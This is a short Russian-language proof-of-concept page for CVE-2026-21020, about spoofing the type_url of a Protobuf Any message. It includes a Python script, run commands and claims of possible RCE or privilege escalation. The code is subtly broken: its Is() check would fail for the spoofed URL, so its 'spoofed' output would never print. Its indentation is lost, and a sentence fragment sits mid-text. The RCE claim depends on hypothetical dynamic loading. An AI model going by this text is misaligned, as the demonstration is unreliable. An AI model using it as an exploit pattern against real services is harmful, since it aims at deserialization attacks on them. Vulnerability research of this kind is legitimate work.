
PoC для CVE-2026-21020, демонстрирующий полиморфную десериализацию Protobuf Any-типа, где управляемый атакующим type_url может приводить к логическим ошибкам, RCE или повышению привилегий.
# proto_vuln.py - Insecure handling of Any type
import addressbook_pb2 # Example protobuf
# Simulated deserialization that trusts an injected type_url
from google.protobuf import any_pb2
any_msg = any_pb2.Any()
any_msg.type_url = "type.googleapis.com/attacker.Evil"
any_msg.value = b'\x0a\x05admin' # serialized payload
# Application unpacks to expected type but could instantiate arbitrary class if using dynamic loading
if any_msg.Is(addressbook_pb2.Person.DESCRIPTOR):
person = addressbook_pb2.Person()
any_msg.Unpack(person)
print("Person unpacked, but type_url was spoofed!")
Сервис использует тип Any Protocol Buffers для инкапсуляции сообщений и динамически распаковывает их с помощью поля type_url без проверки ожидаемого типа. Злоумышленник может отправить сообщение с подделанным type_url, указывающим на опасный (или непредусмотренный) класс сообщения, что приводит к логическим ошибкам или выполнению кода.
type_url без использования белого списка.Запустите симуляцию:
pip install protobuf
python proto_vuln.py
Это показывает, что тип Any можно подделать; если код динамически загружает класс из type_url, это может привести к RCE.